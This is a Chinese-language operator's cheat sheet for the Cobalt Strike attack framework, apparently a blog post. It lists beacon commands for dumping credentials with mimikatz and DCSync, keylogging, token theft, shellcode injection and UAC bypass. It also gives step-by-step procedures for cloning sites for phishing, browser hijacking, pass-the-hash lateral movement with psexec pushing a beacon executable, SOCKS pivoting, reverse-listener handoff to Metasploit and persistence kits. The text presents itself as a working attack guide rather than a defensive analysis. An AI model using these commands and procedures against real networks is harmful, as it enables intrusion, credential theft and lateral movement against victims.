|Credentials |显示密码(hashdump和mimikatz获取的) |
|Downloads |下载文件 |
|Event Log |事件日志 |
|Keystrokes |键盘记录 |
|Proxy Pivots |代理信息 |
|Screenshots |屏幕截图 |
|Script Console |加载脚本 |
|Targets |查看目标 |
|Web Log | 查看web日志 |
创建powershell脚本
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透
执行命令,在beacon模式下键入shell+命令
>dllload [pid] [c:\path\to\file.dll] DLL需在目标上
>kerberos_ticket_purge 清除票据
>kerberos_ccache_use [/path/to/file.ccache] 从ccache文件导入票据
>kerberos_ticket_use [/path/to/file.ccache] 从ticket文件导入票据
>kill pid 结束进程
>timestomp [fileA] [fileB] 修改文件时间戳
>getuid 获取当前用户
>steal_token [pid] 窃取进程ID
>rev2self 恢复原始令牌
>powershell-import [/path/to/local/script.ps1] 导入PS模块
>shinject [pid] <x86|x64> [/path/to/my.bin] 向进程注入shellcode
>socks port在指定端口开启代理
>socks stop停止代理
>rportfwd [bind port] [forward host] [forward port]开启端口转发
Attacks -> Web Drive-by -> System Profiler
Redirect url设置为目标站,登录成功会挑战到真实网站
钓鱼攻击->克隆网站
克隆地址写入要克隆的网站
Attack选择刚刚收集信息的网站
Web日志界面可记录键盘
攻击->钓鱼攻击管理->web服务管理中,可kill掉刚刚的任务
office宏
https://github.com/rsmudge/ElevateKit 提权脚本
>git clone https://github.com/rsmudge/ElevateKit.git
>git clone https://github.com/TheKingOfDuck/myScripts.git
Cobalt Strike -> Scripts 选择elevate.cna加载
提权的EXP列表就会增加已经加入的模块
浏览器劫持
beacon 设为交互模式
beacon> sleep 0
[Beacon] → Explore → Browser Pivot
选择打对勾的注入,会返回一个proxy,服务器IP+端口
>chromium --no-sandbox --ignore-certificate-errors --proxy-server=服务器IP:端口
https://github.com/DeEpinGh0st/Erebus
加载 cna 脚本
Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna
生成 Payload
Attacks → Packages→ Windows Executable(S)
Erebus → Persistence选择维持方法
扫描存活主机
>portscan ip/网段 ports端口 扫描协议(arp、icmp、none) 线程
>portscan 192.168.1.0/24 445 arp 100
或右键目标>扫描
点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)
Login->psexec进行hash传递登录
权限机中转
Pivoting ->Listener新建一条已有权限机器的监听器
选择 Attacks->Packages->Windows Executable(Stageless)
上传生成的payload到已上线的目标机中,上传PsExec.exe
beacon>shell C:\psexec.exe -accepteula \\10.1.1.105 -u administrator -p xxx -d -c C:\beacon.exe
SMB_beacon
新建监听器(bind)windows/beacon_smb/bind_pipe
>psexec 机器名 ADMIN$/c$ bind
SSH login
>ssh 10.1.1.98:22 root admin
>socks 690
视图->代理信息-tunnel 直接复制,粘贴到MSF中
部署VPN
选择内网网卡
创建一个stager
>usestager windows/shellcode 执行,会生成/tmp/launcher.bin
CS 使用PS命令查找进程,进行进程注入(>shinject 进程id x64),选择launcher.bin即可
派生MSF
使用CS的外部监听器
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
msf开启监听
cobalt strike会话主机上点击spwan,创建外部监听器,选择windows/foreign/reverse_tcp指定MSF监听的IP和端口即可
可添加的工具集
https://github.com/outflanknl/C2-Tool-Collection
添加机器账户
枚举域信息
AD密码喷射等
https://github.com/k8gege/Ladon
https://github.com/sry309/cobalt_strike_bot
转载请注明出处及链接
43Mn5eedzF425Co5es1wjAKFTwsqRYMPyYoFXTtd3ZQCBipFtRQuTYyNrUhYZM7taKNSZ9R1t5CGSczxASsUiscjRzXSVZe
捐赠记录➣➣➣➣ Anonymous
------------------------------
Cowsay: Metasploit
------------------------------
黑 ,__,
客 (oo)_____
帝 (__) |☣| ) \
国 | |- - | | *
------------------------------